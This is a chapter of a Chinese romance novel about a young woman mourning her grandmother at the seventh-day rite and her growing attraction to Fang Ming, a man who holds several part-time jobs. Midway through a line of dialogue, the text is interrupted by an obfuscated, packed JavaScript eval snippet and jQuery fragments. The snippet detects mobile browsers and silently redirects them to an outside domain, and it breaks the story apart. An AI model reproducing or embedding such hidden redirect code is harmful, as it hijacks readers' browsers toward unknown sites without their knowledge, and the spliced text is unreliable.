孟至席地而坐，背靠墙壁，看着方铭徒手对付那些老家具，看得津津有味。他搬着写字台的台面，左右晃动，向上拔起，台面就和底座的桌斗分离开来。
书柜的拆法大同小异，只是书柜分为三部分，上方是几层书架，中间是伸出来的桌面，下方是带柜门的斗橱，拆开以后分为三块。木柜年代久远，他必须下手格外小心，以免那些木板一碰就自己散架了。
那忙碌的身影令孟至越看越顺眼，她十分和蔼地问：“小方，你今天是替谁看店呀？”
他回头答道：“替我姐。”
孟至也没问是干姐姐还是表姐姐，又笑眯眯地说：“小方，说几句日文听听。”
“綺麗だね。”
“这是什么意思？”孟至谦虚地问道。方铭却一直不回答，只是埋头干活。于是她说：“其实我也会一点日语。”
他转过头来，用清澈的眼神看着孟至。孟至说：“八嘎。”
“……”方铭转移了话题，“今晚怎么只有你自己烧头七，你家里人呢？”
也许是因为刚才方铭陪她烧了纸钱，孟至现在对他有一种说不上来的亲近感。她主动说起刘校长献身工作，老孟沉迷于制作视频相册，所以今晚只有自己烧头七，还说起爷爷奶奶去世的时候，自己还很小，只记得那年的大年三十晚上，一家三口去烧纸祭奠他们。
方铭恩了一声：“冷不冷？”
“冷。不过一点火就暖和了，难怪游牧民族都要围着火塘喝茶呢。”孟至盘腿坐着，仿佛自己也是火塘旁边的一员。她向方铭描述那些除夕的画面：
冰天雪地，十字路口，黑夜沉沉，一堆火焰腾起。有些店铺讲究年三十夜里不熄灯，所以马路上并不昏暗。黄纸燃烧后变成满地的黑色碎片，拼成了一朵巨大的黑色牡丹花。那花朵仿佛通体金丝绒质地，花瓣镶着燃烧的橘色金边。可惜当他们离去时，地上会遗留一滩痕迹，与除夕夜的爆竹灰烬混合在一起，不符合今晚方铭提出的新时代环保理念。
方铭开始拆五斗橱。他听孟至不再出声，就回过头来看了她一眼，低声问道：“你很想念他们？”
“他们？”孟至反应了一下，才明白他指的是祖辈。她挥了一下手，虚情假意地笑着说：“哪呀，我对爷爷奶奶没什么印象了。姥姥姥爷那边吧，印象比较一般。”
当年孟至的姥姥姥爷互相打架，对刘校长不管不顾。但刘校长对孟至也是一样，她基本没有照料和教育过孟至。在孟至看来，刘校长那暴躁的脾气、深重的戾气、对工作成绩超乎寻常的执念，都是因为没有得到爱；而她反复地控诉往事，纠缠不休，是因为还在渴望爱。她渴望的是过期的爱，永远不可能实现。
“你和姥姥姥爷关系不好吗？”方铭换上一副关怀的神色，但他的眼神出卖了他，看起来他是觉得孟至不喜欢姥姥姥爷，今晚才故意让姥姥来取纸。
孟至诚实地说：“他们和我妈关系不好，但是他们照顾过我。小时候主要是我爸抽空带我，有几年他去外地支援了，我就住在姥姥家。”
见孟至又不说话了，方铭试探着问道：“那你喜欢他们吗？”
“说实话，我不知道。”孟至摇着头笑了，“我姥姥姥爷只会在家吵架，一天八小时，跟上班似的。”
家具都拆完了。方铭走到孟至身边，挨着她坐下，轻声问道：“那你不喜欢他们？”
孟至答非所问地说：“后来我回到父母身边了。”
方铭不眨眼地盯着她，孟至开始向他描述当年的画面。在他们休战的间隙里，孟至的姥爷会去买菜做饭，而孟至的姥姥会给她攒手抄报。她从报纸和杂志上剪下来一个一个豆腐块，用一个大夹子夹上。等到下一次见到孟至，老太太就把这一大本交给孟至，留着给她写作文用，可谓是最初的手帐鼻祖。
末了，孟至又告诉方铭，那个大夹子是她姥爷平时夹胡子用的，他不用刮胡刀，就用夹子一根一根往下薅。
方铭低声笑了起来，他的笑声和说话声一样柔和沉静，好像能够催眠一样，孟至听得眼皮都发沉了。她晕晕乎乎地想，家住B612星的小王子长大后，可能就会发出这样的声音。
她打起精神，对他一笑：“你是个很好的听众。”
他垂下眼睛，看着孟至的脸，若无其事地说：“我还是个很好的观众呢。”
孟至笑了一下，没有搭腔。她站起身来，看向一地的木头部件，甩动长胳膊长腿，口中念念有词：“等我一下啊，我热身一下，就和你一起把这些搬下去。”
方铭淡淡地笑着问：“搬得动吗？”
孟至双手抓住桌斗，双膝微蹲，后腰发力，铆足了劲往起一提，竟然提不起来。但她认为这是因为今天刚中过暑，浑身还在发虚，双手才会使不上劲。方铭伸手把她拦到一边，自己一手拎桌斗，一手夹着桌板，几步就走到了门口，回头说：“你帮我开门就行。”
她急忙打开防盗门，又象征性地伸出手来，装作要帮忙托扶的架势，演绎出一系列假动作。方铭往返几趟，把散装老家具搬到门外，再一件一件码进电梯轿厢，一趟就运了下去。
散装家具全部装进后车厢，方铭说了声下次见，就坐进了驾驶舱。孟至绕到车窗边，车窗玻璃降了下来，方铭微微抬起眉毛问：“姐姐，还有什么事吗？”
“还没付你运费呢！”孟至晃了一下手机，“今天不耽误你运货了，下次请你吃饭。”
“不行的。”方铭一手搭在方向盘上，轻轻摇头，状似苦恼，“我这是蓝牌货车，属于私人的，如果用它有偿营运，可就违规了。拉自己家的东西还是可以的。”
孟至哽住了，这是她先前没有想到的。方铭又说：“你平时不太留意规则啊，姐姐。”
“要什么规则。”孟至捞起红色的长发，往肩膀后面一甩，理直气壮地说，“我是做业务的。”此前的职业生涯里，孟至只需冲锋在外，对枝枝蔓蔓的规则毫不在意。在她看来，只要能做成一笔保单就是大获全胜。风控合规部的同事则像拿着竹竿的放马人，在后方追击拦截，以保证业务员始终远离悬崖，按照标准规范流程作业。
“这次算我帮你忙，下次请
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419252|184753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我吃饭就行了。”方铭发动汽车，最后看了她一眼，似乎要用眼睛把她吸过去。接着他一脚油门，货车沿着街灯向远方驶去。
那两串街灯就像淡青色的珠子，将道路夹在中间。孟至看着货车消失在街灯的夹道欢送中，仿佛要去天边的夜市。她突然想起小时候学过的诗句：远远的街灯明了，好像闪着无数的明星。
想起方才他说的那句日语，孟至掏出手机，硬是用拼音查出一句高度近似的。她听了几遍，觉得这就是刚才方铭说的话。这句话的中文翻译是：你很漂亮。
孟至淡淡地笑了一下，转身往小区走去。走了几步，又驻足观看东边的月亮。那轮月亮圆中有缺，悬浮在铁塔的尖端之后，被黑色的塔尖贯穿，就像是踮脚站在塔顶、躲在那根铁柱后面。
头七的纸钱烧完了，方铭带着老家具离开了，现在孟至百无聊赖。葬礼结束以后，孟至独自留下来领骨灰，将骨灰放进盒子里。看见灰白的粉末时，她才真正明白人死如灰飞烟灭。死亡带来空洞而悲凉的感觉。
方才烧头七时，她没能来得及悲伤，现在这种悲伤姗姗来迟。她一直看着月亮移出铁塔尖，才重新抬腿。
各式各样的歌舞声远远传来，距离这里两条街的公园里，多个队伍在唱歌跳舞，夜夜上演嘉年华。只有在夏季，夜生活能在东北铺展开来，可惜这里的夏天非常短暂。孟至无法忍受这种寂寞的心情，她变换方向，朝着附近一处烧烤摊走去。
如同万千烧烤店一样，这家烧烤在其他季节只是一家门店，到了夏天就占领门前的人行道，支起凉棚，摆出一排排低矮的小桌和板凳，变成夏夜露天烧烤。这种凉棚边缘通常会有一座烤架，长方形槽子里装满了烧红的碳。
孟至挑了一处上风口的位置，坐在矮凳上，仰望着过路的车辆和行人。凉棚的那一端果然有座烤架，一双手不停地翻动着炭火上的肉串。
一个高胖大哥坐在孟至斜对面，挡住了她的视线，让她无法看见烤串老板的脸和身体。喊了两声老板，那边的人纹丝未动。
见老板在忙着，孟至也就不急着点菜。她先跟邻桌的人聊了两句：“最近忙啥呢？”不知道的人，还以为他们彼此认识。
邻桌那人一拍身下的轮椅，大声说：“最近把腿摔了！这不，坐轮椅来撸串了吗！”
等到烤架上的那双手捞起一沓肉串，孟至知道这代表着一批烤物制作完毕。趁此空档，她起身走向烤串老板，同时大声报数：“哥，给我来十串牛肉，十串羊肉，十串蘑菇——”
看到烤串老板的脸时，孟至整个人都惊呆了。在墓园做法事时，她始终没有遇到灵异事件，但现在她觉得自己见了鬼了。
站在烤炉前面卖力工作的，竟然是白T恤灰短裤的方师傅。
孟至瞪着完全睁开的猫眼，和他面面相觑。这个人白天去香火店兼职，傍晚替人拆家具，夜里又来烤串？
在他无辜的目光里，孟至直勾勾地盯着他手中的烤串，缓缓发问：“你……到底打了几份工？”
他却好奇地问：“你刚才叫我什么？”